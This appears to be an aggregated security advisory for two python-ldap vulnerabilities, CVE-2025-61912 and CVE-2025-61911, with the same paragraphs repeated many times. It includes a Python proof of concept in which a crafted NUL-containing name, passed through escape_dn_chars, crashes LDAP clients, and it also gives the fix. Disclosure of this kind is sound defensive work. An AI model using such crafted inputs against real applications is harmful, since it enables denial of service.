CVE-2025-61912

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.

Summary

ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.

Details

Affected function: ldap.dn.escape_dn_chars(s)

File: Lib/ldap/dn.py

Buggy behavior: For NUL, the function does:

s = s.replace('\000', '\\\000') # backslash + literal NUL

This produces Python strings which, when passed to python-ldap APIs (e.g., add_s, modify_s, rename_s, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O. With correct RFC-4514 encoding (\00), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.

Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.

Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.

Minimal fix: Escape NUL as hex:

s = s.replace('\x00', r'\00')

PoC

Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.

from ldap.dn import escape_dn_chars, str2dn

l = ldap.initialize("ldap://10.0.1.11")              # your lab DC/LDAP
l.protocol_version = 3
l.set_option(ldap.OPT_REFERRALS, 0)
l.simple_bind_s(r"DSEC\dani.aga", "PassAa1")         

# --- Attacker-controlled value contains NUL ---
cn = "bad\0name"
escaped_cn = escape_dn_chars(cn)
dn = f"CN={escaped_cn},OU=Users,DC=dsec,DC=local"
attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== BUGGY DN (contains literal NUL) ===")
print("escaped_cn repr:", repr(escaped_cn))
print("dn repr:", repr(dn))
print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))

print("=> add_s(buggy DN): expected client-side failure (no server contact)")
try:
    l.add_s(dn, attrs)
    print("add_s(buggy): succeeded (unexpected)")
except Exception as e:
    print("add_s(buggy):", type(e).__name__, e)  # ValueError: embedded null character

# --- Correct hex escape demonstrates the client proceeds to the server ---
safe_dn = dn.replace("\x00", r"\00")                 # RFC 4514-compliant
print("\n=== HEX-ESCAPED DN (\\00) ===")
print("safe_dn repr:", repr(safe_dn))
print("=> sanity parse:", str2dn(safe_dn))           # parses locally

print("=> add_s(safe DN): reaches server (AD will likely reject with 34)")
try:
    l.add_s(safe_dn, attrs)
    print("add_s(safe): success (unlikely without required attrs/rights)")
except ldap.LDAPError as e:
    print("add_s(safe):", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)

Observed result (example):

add_s(buggy): ValueError embedded null character ← client-side DoS

add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME) ← request reached server; rejection due to server policy, not client bug

Impact

Type: Denial of Service (client-side).

Who is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools, sync/ETL jobs, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00 reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.

python-ldap: python-ldap provides an object-oriented API to access LDAP directory servers from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose. Additionally the package contains modules for other LDAP-related stuff (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations and controls, etc.).

Security Fix(es):

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method ldap.filter.escape_filter_chars can be tricked to skip escaping of special characters when a crafted list or dict is supplied as the assertion_value parameter, and the non-default escape_mode=1 is configured. The method ldap.filter.escape_filter_chars supports 3 different escaping modes. escape_mode=0 (default) and escape_mode=2 happen to raise exceptions when a list or dict object is supplied as the assertion_value parameter. However, escape_mode=1 computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the python-ldap library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the ldap.filter.escape_filter_chars method to raise an exception when the supplied assertion_value parameter is not of type str.(CVE-2025-61911)

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)

python-ldap: python-ldap provides an object-oriented API to access LDAP directory servers from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose. Additionally the package contains modules for other LDAP-related stuff (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations and controls, etc.).

Security Fix(es):

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method ldap.filter.escape_filter_chars can be tricked to skip escaping of special characters when a crafted list or dict is supplied as the assertion_value parameter, and the non-default escape_mode=1 is configured. The method ldap.filter.escape_filter_chars supports 3 different escaping modes. escape_mode=0 (default) and escape_mode=2 happen to raise exceptions when a list or dict object is supplied as the assertion_value parameter. However, escape_mode=1 computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the python-ldap library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the ldap.filter.escape_filter_chars method to raise an exception when the supplied assertion_value parameter is not of type str.(CVE-2025-61911)

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)

python-ldap: python-ldap provides an object-oriented API to access LDAP directory servers from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose. Additionally the package contains modules for other LDAP-related stuff (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations and controls, etc.).

Security Fix(es):

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method ldap.filter.escape_filter_chars can be tricked to skip escaping of special characters when a crafted list or dict is supplied as the assertion_value parameter, and the non-default escape_mode=1 is configured. The method ldap.filter.escape_filter_chars supports 3 different escaping modes. escape_mode=0 (default) and escape_mode=2 happen to raise exceptions when a list or dict object is supplied as the assertion_value parameter. However, escape_mode=1 computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the python-ldap library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the ldap.filter.escape_filter_chars method to raise an exception when the supplied assertion_value parameter is not of type str.(CVE-2025-61911)

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)

python-ldap: python-ldap provides an object-oriented API to access LDAP directory servers from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose. Additionally the package contains modules for other LDAP-related stuff (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations and controls, etc.).

Security Fix(es):

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method ldap.filter.escape_filter_chars can be tricked to skip escaping of special characters when a crafted list or dict is supplied as the assertion_value parameter, and the non-default escape_mode=1 is configured. The method ldap.filter.escape_filter_chars supports 3 different escaping modes. escape_mode=0 (default) and escape_mode=2 happen to raise exceptions when a list or dict object is supplied as the assertion_value parameter. However, escape_mode=1 computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the python-ldap library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the ldap.filter.escape_filter_chars method to raise an exception when the supplied assertion_value parameter is not of type str.(CVE-2025-61911)

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)

python-ldap: python-ldap provides an object-oriented API to access LDAP directory servers from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose. Additionally the package contains modules for other LDAP-related stuff (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations and controls, etc.).

Security Fix(es):

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method ldap.filter.escape_filter_chars can be tricked to skip escaping of special characters when a crafted list or dict is supplied as the assertion_value parameter, and the non-default escape_mode=1 is configured. The method ldap.filter.escape_filter_chars supports 3 different escaping modes. escape_mode=0 (default) and escape_mode=2 happen to raise exceptions when a list or dict object is supplied as the assertion_value parameter. However, escape_mode=1 computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the python-ldap library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the ldap.filter.escape_filter_chars method to raise an exception when the supplied assertion_value parameter is not of type str.(CVE-2025-61911)

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)

python-ldap: python-ldap provides an object-oriented API to access LDAP directory servers from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose. Additionally the package contains modules for other LDAP-related stuff (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations and controls, etc.).

Security Fix(es):

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)

Summary

ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.

Details

Affected function: ldap.dn.escape_dn_chars(s)

File: Lib/ldap/dn.py

Buggy behavior: For NUL, the function does:

s = s.replace('\000', '\\\000') # backslash + literal NUL

This produces Python strings which, when passed to python-ldap APIs (e.g., add_s, modify_s, rename_s, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O. With correct RFC-4514 encoding (\00), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.

Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.

Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.

Minimal fix: Escape NUL as hex:

s = s.replace('\x00', r'\00')

PoC

Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.

from ldap.dn import escape_dn_chars, str2dn

l = ldap.initialize("ldap://10.0.1.11")              # your lab DC/LDAP
l.protocol_version = 3
l.set_option(ldap.OPT_REFERRALS, 0)
l.simple_bind_s(r"DSEC\dani.aga", "PassAa1")         

# --- Attacker-controlled value contains NUL ---
cn = "bad\0name"
escaped_cn = escape_dn_chars(cn)
dn = f"CN={escaped_cn},OU=Users,DC=dsec,DC=local"
attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== BUGGY DN (contains literal NUL) ===")
print("escaped_cn repr:", repr(escaped_cn))
print("dn repr:", repr(dn))
print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))

print("=> add_s(buggy DN): expected client-side failure (no server contact)")
try:
    l.add_s(dn, attrs)
    print("add_s(buggy): succeeded (unexpected)")
except Exception as e:
    print("add_s(buggy):", type(e).__name__, e)  # ValueError: embedded null character

# --- Correct hex escape demonstrates the client proceeds to the server ---
safe_dn = dn.replace("\x00", r"\00")                 # RFC 4514-compliant
print("\n=== HEX-ESCAPED DN (\\00) ===")
print("safe_dn repr:", repr(safe_dn))
print("=> sanity parse:", str2dn(safe_dn))           # parses locally

print("=> add_s(safe DN): reaches server (AD will likely reject with 34)")
try:
    l.add_s(safe_dn, attrs)
    print("add_s(safe): success (unlikely without required attrs/rights)")
except ldap.LDAPError as e:
    print("add_s(safe):", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)

Observed result (example):

add_s(buggy): ValueError embedded null character ← client-side DoS

add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME) ← request reached server; rejection due to server policy, not client bug

Impact

Type: Denial of Service (client-side).

Who is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools, sync/ETL jobs, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00 reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.

python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.

These are all security issues fixed in the python311-ldap-3.4.5-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-ldap fixes the following issues:

• CVE-2025-61911: Enforce str for escape_filter_chars (bsc#1251912).
• CVE-2025-61912: Escape NULs as per RFC 4514 in escape_dn_chars (bsc#1251913).

This update for python-ldap fixes the following issues:

• CVE-2025-61911: Enforce str for escape_filter_chars (bsc#1251912).
• CVE-2025-61912: Escape NULs as per RFC 4514 in escape_dn_chars (bsc#1251913).

This update for python-ldap fixes the following issues:

• CVE-2025-61911: Enforce str for escape_filter_chars (bsc#1251912).
• CVE-2025-61912: Escape NULs as per RFC 4514 in escape_dn_chars (bsc#1251913).

This update for python-ldap fixes the following issues:

• CVE-2025-61911: Enforce str for escape_filter_chars (bsc#1251912).
• CVE-2025-61912: Escape NULs as per RFC 4514 in escape_dn_chars (bsc#1251913).

It was discovered that Python LDAP incorrectly handled special characters in the special character filtering function. A remote attacker could possibly use this issue to perform LDAP injection attacks. (CVE-2025-61911)

Arad Inbar discovered that Python LDAP incorrectly escaped NUL character bytes. An attacker could possibly use this issue to cause a denial of service. (CVE-2025-61912)